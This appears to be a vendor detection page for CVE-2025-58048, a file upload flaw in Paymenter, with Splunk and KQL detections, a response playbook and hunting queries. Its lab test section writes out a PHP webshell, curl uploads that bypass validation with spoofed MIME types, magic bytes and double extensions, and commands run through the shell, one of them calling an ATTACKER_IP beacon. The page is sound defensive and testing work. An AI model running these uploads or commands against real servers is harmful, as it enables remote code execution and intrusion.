Detect CVE-2025-58048: Paymenter Remote Code Execution via Unrestricted File Upload in Splunk
Detects exploitation of CVE-2025-58048, a critical unrestricted file upload vulnerability (CWE-434) in Paymenter versions prior to 1.2.11. Attackers can upload malicious files (e.g., PHP webshells) through publicly accessible upload endpoints, achieving remote code execution on the server. CVSS 9.9 with public PoC available.
MITRE ATT&CK
- Tactic
- Initial Access Execution Persistence Impact
SPL Detection Query
index=web OR index=main sourcetype IN (access_combined, apache_access, nginx_access, php_error)
| eval file_ext=lower(mvindex(split(uri_path, "."), -1))
| where match(uri_path, "(?i)/(upload|uploads|files|storage|public)") AND match(http_method, "^POST$")
| eval is_suspicious_ext=if(file_ext IN ("php","php3","php4","php5","phtml","phar","asp","aspx","jsp","sh","bash","py","pl","cgi"), 1, 0)
| where is_suspicious_ext=1 OR status IN ("200", "201") AND match(uri_path, "(?i)\.(php|phtml|phar|jsp|asp|aspx|sh|bash|py|pl)")
| eval severity=case(
file_ext IN ("php","phtml","phar"), "critical",
file_ext IN ("asp","aspx","jsp"), "critical",
file_ext IN ("sh","bash","py","pl"), "high",
true(), "medium"
)
| stats count min(_time) as first_seen max(_time) as last_seen values(uri_path) as upload_paths values(status) as http_statuses by src_ip, file_ext, severity
| where count > 0
| eval first_seen=strftime(first_seen, "%Y-%m-%d %H:%M:%S"), last_seen=strftime(last_seen, "%Y-%m-%d %H:%M:%S")
| sort -count
| table src_ip, file_ext, severity, count, first_seen, last_seen, upload_paths, http_statusesIdentifies POST requests uploading potentially malicious files with executable extensions to Paymenter upload directories. Categorizes by extension risk level and aggregates by source IP for investigation.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Authorized administrator uploads of legitimate PHP extensions or plugins
- Content management operations that include PHP template files
- Automated testing frameworks uploading test fixture files to staging environments
- Backup agents that copy PHP files to upload directories during restoration
Other platforms for CVE-2025-58048
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Upload PHP Webshell to Paymenter Public Storage
Expected signal: Web server logs showing POST to /upload with multipart/form-data containing .php file; file creation event in storage/app/public directory; HTTP 200/201 response code
- Test 2Execute Commands via Uploaded Webshell
Expected signal: GET requests to storage/app/public/*.php path; PHP process spawning id, uname, whoami child processes; outbound network connection from PHP/web server process to attacker IP
- Test 3Bypass MIME Type Restriction via Content-Type Spoofing
Expected signal: Web server logs showing POST uploads with mismatched Content-Type and file extension; file creation events with double extensions or PHP extensions in upload directories; magic byte mismatch in uploaded files
References (5)
- https://github.com/Paymenter/Paymenter/security/advisories/GHSA-5pm9-r2m8-rcmj
- https://nvd.nist.gov/vuln/detail/CVE-2025-58048
- https://github.com/Paymenter/Paymenter/commit/87c3db42282ada1e3cda54b9a01f846926c0669b
- https://github.com/Paymenter/Paymenter/releases/tag/v1.2.11
- https://github.com/advisories/GHSA-5pm9-r2m8-rcmj
Response Playbook
Triage
- Immediately verify the Paymenter version running in your environment — check composer.json or run `composer show paymenter/paymenter` to confirm if version < 1.2.11 is deployed.
- Review web server access logs for POST requests to upload/storage paths containing PHP, JSP, ASP, or shell script extensions, especially from external IPs, in the past 72 hours.
- Check the Paymenter public uploads directory (typically storage/app/public) for any newly created files with executable extensions that are not part of the expected application content.
- Identify whether the upload endpoint is publicly accessible without authentication — test if unauthenticated users can reach /upload or equivalent routes in your Paymenter instance.
- Cross-reference source IPs of suspicious upload attempts against threat intelligence feeds to determine if known malicious actors are involved.
Containment
- If exploitation is confirmed or strongly suspected, immediately take the Paymenter application offline or block external access to the upload endpoint via WAF/firewall rules while investigation proceeds.
- Remove any suspicious files found in upload/storage directories and ensure web server cannot execute files uploaded to those paths by reconfiguring directory permissions or adding .htaccess/nginx rules to deny execution of uploaded content.
- Rotate all credentials and secrets (database, API keys, Stripe, payment processor) accessible from the compromised Paymenter instance, as webshell access enables credential harvesting.
- Isolate the host running Paymenter if RCE has been achieved to prevent lateral movement within the network.
Evidence Collection
- Capture and preserve web server access logs (Apache/Nginx) covering at least 72 hours prior to detection, focusing on POST requests to upload endpoints — include full request URIs, response codes, source IPs, User-Agent strings, and timestamps.
- Create forensic copies of the Paymenter storage/uploads directory tree, capturing file metadata (creation timestamps, permissions, ownership) before any remediation to preserve evidence of uploaded webshells.
- Export PHP error logs and application logs from the Paymenter Laravel framework to identify any execution traces of uploaded payloads.
- Collect network flow data showing connections originating from the Paymenter server post-upload, which may indicate command-and-control callbacks from executed webshells.
Escalation Criteria
- !Escalate to incident response if webshell execution is confirmed via process telemetry showing PHP/web server processes spawning unexpected child processes (bash, sh, curl, wget, nc, ncat).
- !Escalate immediately if evidence shows lateral movement from the Paymenter host to other internal systems, database credential access, or data exfiltration of customer payment or personal data — this triggers PCI-DSS and potentially GDPR breach notification requirements.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Files with PHP/ASP/JSP/shell extensions created in Paymenter storage/app/public or uploads/ directories after initial installation - >
Web server access logs showing POST requests to /upload or /files endpoints with multipart/form-data content-type and executable file names - >
PHP error logs showing include or eval operations referencing files in upload directories - >
Process telemetry showing www-data or apache user spawning bash/sh child processes with unusual arguments - >
Network connections from web server process to external IPs on non-standard ports following file upload events
Tuning Guidance
Reduce false positives by scoping file extension filters to only the most dangerous (php, phtml, phar, jsp, asp, aspx) and excluding known-good upload paths used by internal tools. For web log-based detections, add IP allowlists for internal deployment systems and CI/CD runners. In environments where PHP plugin uploads are common, add a secondary condition requiring the upload to succeed (HTTP 200/201) AND a subsequent request to the uploaded file path within 5 minutes, which strongly indicates webshell access. Tune the process-spawn detections by establishing a baseline of expected child processes for your PHP version and web server, then alert only on deviations.
Hunting Queries
Threat hunt for webshell file drops in Paymenter upload directories initiated by web server processes — covers 7-day lookback to identify exploitation that may have preceded alert tuning.
DeviceFileEvents
| where Timestamp > ago(7d)
| where ActionType in ('FileCreated', 'FileModified')
| where FolderPath has_any ('/uploads/', '/storage/app/public/', '/public/files/')
| where FileName has_any ('.php', '.phtml', '.phar', '.jsp', '.asp', '.aspx', '.sh', '.bash', '.py')
| where InitiatingProcessName in~ ('php', 'php7.4', 'php8.0', 'php8.1', 'php8.2', 'nginx', 'apache2', 'httpd')
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| order by Timestamp descindex=endpoint sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=11
OR (index=linux sourcetype=syslog ("www-data" OR "apache" OR "nginx") "php")
| eval file_path=coalesce(TargetFilename, file)
| where match(file_path, "(?i)/(uploads?|storage/app/public|public/files)/.*\.(php[0-9]?|phtml|phar|asp[x]?|jsp|sh|bash|py|pl|cgi)$")
| eval process=coalesce(Image, process_name)
| where match(process, "(?i)(php|apache|nginx|httpd|www)")
| stats count min(_time) as first_seen max(_time) as last_seen values(file_path) as dropped_files by host, process
| sort -countHunts for PHP/web server processes spawning shell interpreters or network utilities — strong indicator of webshell command execution following CVE-2025-58048 exploitation.
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessName in~ ('php', 'php7.4', 'php8.0', 'php8.1', 'php8.2')
| where ProcessCommandLine has_any ('bash', 'sh -c', 'curl', 'wget', 'nc ', 'ncat', 'python', 'perl', 'id;', 'whoami', 'uname -a')
| project Timestamp, DeviceName, InitiatingProcessName, InitiatingProcessCommandLine, ProcessCommandLine, AccountName
| order by Timestamp descindex=endpoint sourcetype IN (sysmon, linux_secure, auditd)
| eval parent=coalesce(ParentImage, ppid_name)
| eval child=coalesce(Image, process_name, comm)
| where match(parent, "(?i)(php[0-9.]*|apache2|httpd|nginx)$")
AND match(child, "(?i)(bash|sh|dash|zsh|curl|wget|nc|ncat|python[0-9.]?|perl|ruby)$")
| stats count min(_time) as first_seen max(_time) as last_seen values(cmdline) as commands by host, parent, child
| sort -countAtomic Red Team Tests
Simulates CVE-2025-58048 exploitation by uploading a minimal PHP webshell to the Paymenter file upload endpoint without authentication. Tests whether the application accepts PHP files and stores them in a web-accessible location.
Command
# Lab only — requires vulnerable Paymenter instance < 1.2.11
# Create minimal webshell payload
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > /tmp/test_shell.php
# Attempt unauthenticated upload to Paymenter upload endpoint
curl -s -X POST http://TARGET_HOST/upload \
-F 'file=@/tmp/test_shell.php;type=image/jpeg' \
-H 'Accept: application/json' \
-v 2>&1 | tee /tmp/upload_response.txt
# Check if upload was successful
grep -E '(200|201|url|path|filename)' /tmp/upload_response.txtCleanup
rm -f /tmp/test_shell.php /tmp/upload_response.txt
# On target: find /var/www/paymenter/storage/app/public -name '*.php' -newer /var/www/paymenter/composer.json -deleteExpected Telemetry
Web server logs showing POST to /upload with multipart/form-data containing .php file; file creation event in storage/app/public directory; HTTP 200/201 response code
Expected Detection
Alert fires on file creation of .php extension in upload/storage directory correlated with POST request from same source IP
After successful webshell upload (test 1), verifies RCE capability by sending GET requests with command parameters to the uploaded webshell URL, simulating post-exploitation activity.
Command
# Lab only — requires successful execution of atomic test 1
# Replace SHELL_URL with the actual URL returned by the upload response
SHELL_URL="http://TARGET_HOST/storage/app/public/test_shell.php"
# Test basic command execution
curl -s "${SHELL_URL}?cmd=id" | tee /tmp/rce_output.txt
curl -s "${SHELL_URL}?cmd=uname+-a" >> /tmp/rce_output.txt
curl -s "${SHELL_URL}?cmd=whoami" >> /tmp/rce_output.txt
# Test network connectivity from server (simulates C2 check-in potential)
curl -s "${SHELL_URL}?cmd=curl+-s+http://ATTACKER_IP:8888/beacon" || true
cat /tmp/rce_output.txtCleanup
rm -f /tmp/rce_output.txtExpected Telemetry
GET requests to storage/app/public/*.php path; PHP process spawning id, uname, whoami child processes; outbound network connection from PHP/web server process to attacker IP
Expected Detection
Process spawn detection alert for PHP spawning shell commands; network detection for web server process initiating outbound connections to unexpected external IPs
Tests whether Paymenter's upload validation can be bypassed by spoofing the Content-Type header to image/jpeg while uploading a PHP file, a common bypass for weak file type validation.
Command
# Lab only — requires vulnerable Paymenter instance < 1.2.11
# Create PHP file disguised as image
cp /tmp/test_shell.php /tmp/disguised_shell.jpg
# Prepend GIF magic bytes to bypass content inspection
printf 'GIF89a' | cat - /tmp/test_shell.php > /tmp/gif_shell.php.jpg
# Upload with spoofed content type
curl -s -X POST http://TARGET_HOST/upload \
-F 'file=@/tmp/gif_shell.php.jpg;type=image/gif;filename=shell.php' \
-H 'Accept: application/json' \
-v 2>&1 | tee /tmp/bypass_response.txt
# Also try double extension
curl -s -X POST http://TARGET_HOST/upload \
-F 'file=@/tmp/test_shell.php;type=image/jpeg;filename=image.jpg.php' \
-H 'Accept: application/json' \
-v 2>&1 >> /tmp/bypass_response.txt
cat /tmp/bypass_response.txtCleanup
rm -f /tmp/disguised_shell.jpg /tmp/gif_shell.php.jpg /tmp/bypass_response.txtExpected Telemetry
Web server logs showing POST uploads with mismatched Content-Type and file extension; file creation events with double extensions or PHP extensions in upload directories; magic byte mismatch in uploaded files
Expected Detection
File extension-based detection triggers on .php extension regardless of MIME type spoofing; content inspection rules flag PHP code patterns in uploaded files